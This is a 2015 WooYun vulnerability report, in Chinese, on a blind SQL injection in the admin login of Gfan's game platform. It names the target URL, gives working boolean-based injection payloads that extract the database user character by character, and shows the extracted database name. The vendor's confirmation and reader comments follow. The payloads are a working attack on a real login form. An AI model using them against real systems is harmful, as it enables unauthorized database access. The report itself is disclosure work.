缺陷编号:WooYun-2015-0126382
漏洞标题:2小时血泪注入篇之机锋网核心平台 Puzzle
相关厂商:机锋网
漏洞作者:黑暗游侠
提交时间:2015-07-13 08:59
公开时间:2015-08-27 09:06
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
2015-07-13: 细节已通知厂商并且等待厂商处理中
2015-07-13: 厂商已经确认,细节仅向厂商公开
2015-07-23: 细节向核心白帽子及相关领域专家公开
2015-08-02: 细节向普通白帽子公开
2015-08-12: 细节向实习白帽子公开
2015-08-27: 细节向公众公开
2小时血泪注入篇之机锋网核心平台Puzzle
先来看一下时间
我是3点多的时候发现了这个漏洞的前戏然后从绕过限制到puzzle trick到整个手工测试的结束,也就是现在天亮了漏洞存在系统是机锋网的核心游戏运营平台:
1 |
http://admin.tsz.gfan.com/login.php |
偶然测试发现用户输入admin admin提示"账号和密码错误"输入admin'or'1'='1 admin时候提示"密码错误"
1 |
又经过反复测试确认了只有账户处存在注入并且过滤了类似and后面的逻辑,或者运算逻辑配上 "="而且因为带入数据库查询,但是账号尼玛的竟然限制了长度!2-32位长度!!关键字也过滤了部分注释符经过多次测试只有#可以#######反复测试,多次测试,反复测试,多次测试………… |
从3点多到5点半过程不多描述了如何怎么反复测试最后成功的直接给出最后的fuzzing poc:
1 |
username='or+(select mid(user(),*))>'*'# |
如果正确则response返回一个长度,错误则response返回另一长度前8位比较用技巧get更快
1 |
'or+(select user())>'r'#'or+(select user())>'re'#'or+(select user())>'rea'#'or+(select user())>'read'#'or+(select user())>'reado'#'or+(select user())>'readon'#'or+(select user())>'readonl'#'or+(select user())>'readonly'# |
后面因为超出了32位的长度限制所以用我前面给出的fuzzing poc逐位遍历即可result:
1 |
user:[email protected]database: tsz_big_db_1 |
看在洞主一宿没睡,如此诚意的测试上,15rank给一个吧,洞主也是经常提交关于机锋的漏洞,只不过这次花的时间最多了,与机锋平台共勉。
危害等级:高
漏洞Rank:15
确认时间:2015-07-1309:06
谢谢您对机锋安全的关注,这个域名以前说明过,服务器不在机锋这边,这是客户的机器,已经通知客户了,谢谢。
暂无
@机锋网 我到现在还没睡着。。刚看到确认了好快,原来是客户机哈,以后会继续关注机锋的!赞这么负责有态度的运维一个!
@黑暗游侠 貌似子非海绵宝宝提过这个 用的是|| &&
同表 有可能注出pass
费了这么大劲儿,居然是client。。。。好好睡一觉吧。
你也是满拼的,是不是最近失恋了,失眠啊?
这个洞貌似有人提交过没修复吧?我前面也发现了,苦于屌丝不太懂手注。
@BMa 不知道诶
@sql小神 早就失恋了
原文连接
的情况下转载,若非则不得使用我方内容。